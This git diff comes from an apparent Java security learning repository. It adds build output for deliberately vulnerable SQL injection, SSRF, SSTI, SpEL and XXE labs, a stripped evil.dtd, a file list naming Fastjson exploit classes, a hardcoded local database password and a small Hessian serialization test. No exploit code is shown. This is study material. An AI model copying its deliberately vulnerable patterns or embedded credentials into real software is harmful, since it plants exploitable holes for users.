+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-archiver/pom.properties
new file mode 100644
index 00000000..d7b9779c
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-archiver/pom.properties
@@ -0,0 +1,3 @@
+artifactId=MybatiSqli
+groupId=com.drunkbaby
+version=0.0.1-SNAPSHOT
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 00000000..c3d6e2bf
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1,5 @@
+com\drunkbaby\controller\SQLI.class
+com\drunkbaby\mapper\UserMapper.class
+com\drunkbaby\pojo\User.class
+com\drunkbaby\utils\SqliFilterUtil.class
+com\drunkbaby\MybatiSqliApplication.class
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 00000000..ba69bc7b
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatiSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1,5 @@
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\utils\SqliFilterUtil.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\MybatiSqliApplication.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\pojo\User.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\controller\SQLI.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatiSqli\src\main\java\com\drunkbaby\mapper\UserMapper.java
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/MybatisPluSqli.iml b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/MybatisPluSqli.iml
new file mode 100644
index 00000000..ac20b6c2
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/MybatisPluSqli.iml
@@ -0,0 +1,105 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar
new file mode 100644
index 00000000..c7a8d51a
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar.original
new file mode 100644
index 00000000..7daf29a5
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/MybatisPluSqli-0.0.1-SNAPSHOT.jar.original differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/application.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/application.properties
new file mode 100644
index 00000000..d427ff5d
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/application.properties
@@ -0,0 +1,6 @@
+server.port=8081
+spring.datasource.url=jdbc:mysql://localhost:3306/mp_test?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
+spring.datasource.username=Drunkbaby
+spring.datasource.password=123123
+spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
+mybatis-plus.mapper-locations=classpath:mapper/*.xml
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/MybatisPluSqliApplication.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/MybatisPluSqliApplication.class
new file mode 100644
index 00000000..5f4e93ce
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/MybatisPluSqliApplication.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/config/MybatisPlusConfig.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/config/MybatisPlusConfig.class
new file mode 100644
index 00000000..15cac94a
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/config/MybatisPlusConfig.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLI.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLI.class
new file mode 100644
index 00000000..39aec72d
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLI.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLIDefense.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLIDefense.class
new file mode 100644
index 00000000..5e29b532
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/controller/SQLIDefense.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/EmployeeMapper.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/EmployeeMapper.class
new file mode 100644
index 00000000..b0c346b7
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/EmployeeMapper.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/PersonMapper.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/PersonMapper.class
new file mode 100644
index 00000000..55da1757
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/mapper/PersonMapper.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Employee.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Employee.class
new file mode 100644
index 00000000..e55f4a31
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Employee.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Person.class b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Person.class
new file mode 100644
index 00000000..470ebe75
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/com/drunkbaby/pojo/Person.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/EmployeeMapper.xml b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/EmployeeMapper.xml
new file mode 100644
index 00000000..ddb04d4b
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/EmployeeMapper.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/PersonMapper.xml b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/PersonMapper.xml
new file mode 100644
index 00000000..f8d72c13
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/classes/mapper/PersonMapper.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-archiver/pom.properties
new file mode 100644
index 00000000..19a3912c
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-archiver/pom.properties
@@ -0,0 +1,3 @@
+artifactId=MybatisPluSqli
+groupId=com.drunkbaby
+version=0.0.1-SNAPSHOT
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 00000000..9576c716
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1,8 @@
+com\drunkbaby\controller\SQLI.class
+com\drunkbaby\MybatisPluSqliApplication.class
+com\drunkbaby\controller\SQLIDefense.class
+com\drunkbaby\config\MybatisPlusConfig.class
+com\drunkbaby\mapper\EmployeeMapper.class
+com\drunkbaby\pojo\Person.class
+com\drunkbaby\pojo\Employee.class
+com\drunkbaby\mapper\PersonMapper.class
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 00000000..773ec3c1
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/MybatisPluSqli/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1,8 @@
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\controller\SQLI.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\pojo\Person.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\config\MybatisPlusConfig.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\mapper\EmployeeMapper.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\controller\SQLIDefense.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\pojo\Employee.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\mapper\PersonMapper.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\MybatisPluSqli\src\main\java\com\drunkbaby\MybatisPluSqliApplication.java
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SSRF/SSRF.iml b/JavaSecurity/CodeReview/JavaSec-Code/SSRF/SSRF.iml
new file mode 100644
index 00000000..a20ff9bc
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/SSRF/SSRF.iml
@@ -0,0 +1,109 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SSTI/SSTI.iml b/JavaSecurity/CodeReview/JavaSec-Code/SSTI/SSTI.iml
new file mode 100644
index 00000000..ca8ba1ea
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/SSTI/SSTI.iml
@@ -0,0 +1,116 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/SpEL.iml b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/SpEL.iml
new file mode 100644
index 00000000..a8750d3e
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/SpEL.iml
@@ -0,0 +1,93 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar
new file mode 100644
index 00000000..15cb0ecb
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar.original
new file mode 100644
index 00000000..ee587dda
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/SpEL-0.0.1-SNAPSHOT.jar.original differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/classes/SpEL.class b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/classes/SpEL.class
new file mode 100644
index 00000000..377cd062
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/classes/SpEL.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-archiver/pom.properties
new file mode 100644
index 00000000..e47c983b
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-archiver/pom.properties
@@ -0,0 +1,3 @@
+artifactId=SpEL
+groupId=com.drunkbaby
+version=0.0.1-SNAPSHOT
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 00000000..b5d25ab0
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1 @@
+SpEL.class
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 00000000..d2a49469
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/SpEL/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1 @@
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\SpEL\src\main\java\SpEL.java
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/XXE.iml b/JavaSecurity/CodeReview/JavaSec-Code/XXE/XXE.iml
new file mode 100644
index 00000000..2d5b3131
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/XXE.iml
@@ -0,0 +1,106 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar
new file mode 100644
index 00000000..dc4acc97
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar.original b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar.original
new file mode 100644
index 00000000..35ec4c26
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/XXE-0.0.1-SNAPSHOT.jar.original differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/application.properties b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/application.properties
new file mode 100644
index 00000000..bafddced
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/application.properties
@@ -0,0 +1 @@
+server.port=8081
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/XXEApplication.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/XXEApplication.class
new file mode 100644
index 00000000..178471b1
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/XXEApplication.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXE.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXE.class
new file mode 100644
index 00000000..dc898760
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXE.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXEDefense.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXEDefense.class
new file mode 100644
index 00000000..c7a6e4c7
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/controller/XXEDefense.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/utils/WebUtils.class b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/utils/WebUtils.class
new file mode 100644
index 00000000..0c786285
Binary files /dev/null and b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/com/drunkbaby/utils/WebUtils.class differ
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/evil.dtd b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/evil.dtd
new file mode 100644
index 00000000..0ff271b0
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/classes/evil.dtd
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-archiver/pom.properties b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-archiver/pom.properties
new file mode 100644
index 00000000..1c5ac45e
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-archiver/pom.properties
@@ -0,0 +1,3 @@
+artifactId=XXE
+groupId=com.drunkbaby
+version=0.0.1-SNAPSHOT
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 00000000..e6e1b475
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1,4 @@
+com\drunkbaby\utils\WebUtils.class
+com\drunkbaby\controller\XXE.class
+com\drunkbaby\XXEApplication.class
+com\drunkbaby\controller\XXEDefense.class
diff --git a/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 00000000..1d733713
--- /dev/null
+++ b/JavaSecurity/CodeReview/JavaSec-Code/XXE/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1,4 @@
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\controller\XXE.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\controller\XXEDefense.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\utils\WebUtils.java
+G:\OneDrive - yapuu\Java��ȫѧκ\JavaSecurityLearning\JavaSecurity\CodeReview\JavaSec-Code\XXE\src\main\java\com\drunkbaby\XXEApplication.java
diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/FastjsonEXP_1.2.24-1.0-SNAPSHOT.jar b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/FastjsonEXP_1.2.24-1.0-SNAPSHOT.jar
new file mode 100644
index 00000000..6d477c60
Binary files /dev/null and b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/FastjsonEXP_1.2.24-1.0-SNAPSHOT.jar differ
diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-archiver/pom.properties b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-archiver/pom.properties
new file mode 100644
index 00000000..bf75727c
--- /dev/null
+++ b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-archiver/pom.properties
@@ -0,0 +1,5 @@
+#Generated by Maven
+#Thu Feb 22 21:20:13 CST 2024
+version=1.0-SNAPSHOT
+groupId=org.example
+artifactId=FastjsonEXP_1.2.24
diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 00000000..8be5a072
--- /dev/null
+++ b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1,4 @@
+G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\JdbcRowSetImplLdapExp.java
+G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\TemplatesImplPoc.java
+G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\HighJdkBypass.java
+G:\OneDrive - yapuu\Java安全学习\JavaSecurityLearning\JavaSecurity\Fastjson\FastjsonEXP_1.2.24\src\main\java\JdbcRowSetImplRmiExp.java
diff --git a/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst b/JavaSecurity/Fastjson/FastjsonEXP_1.2.24/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/Hession/.gitignore b/JavaSecurity/Hession/.gitignore
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ b/JavaSecurity/Hession/.gitignore
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git a/JavaSecurity/Hession/HessionLearn/pom.xml b/JavaSecurity/Hession/HessionLearn/pom.xml
new file mode 100644
index 00000000..5bf8695a
--- /dev/null
+++ b/JavaSecurity/Hession/HessionLearn/pom.xml
@@ -0,0 +1,28 @@
+
+
+ 4.0.0
+
+ org.example
+ Hession
+ 1.0-SNAPSHOT
+
+
+ HessionLearn
+
+
+
+ com.caucho
+ hessian
+ 4.0.63
+
+
+
+
+ 8
+ 8
+ UTF-8
+
+
+
\ No newline at end of file
diff --git a/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java
new file mode 100644
index 00000000..e672314c
--- /dev/null
+++ b/JavaSecurity/Hession/HessionLearn/src/main/java/com/hession/test/Hessian_Test.java
@@ -0,0 +1,37 @@
+package com.hession.test;
+
+import com.caucho.hessian.io.HessianInput;
+import com.caucho.hessian.io.HessianOutput;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.Serializable;
+
+public class Hessian_Test implements Serializable {
+
+ public static byte[] serialize(T o) throws IOException {
+ ByteArrayOutputStream bao = new ByteArrayOutputStream();
+ HessianOutput output = new HessianOutput(bao);
+ output.writeObject(o);
+ System.out.println(bao.toString());
+ return bao.toByteArray();
+ }
+
+ public static T deserialize(byte[] bytes) throws IOException {
+ ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
+ HessianInput input = new HessianInput(bai);
+ Object o = input.readObject();
+ return (T) o;
+ }
+
+ public static void main(String[] args) throws IOException {
+ Person person = new Person();
+ person.setAge(18);
+ person.setName("Drunkbaby");
+
+ byte[] s = serialize(person);
+ System.out.println((Person) deserialize(s));
+ }
+
+}
\ No newline at end of file
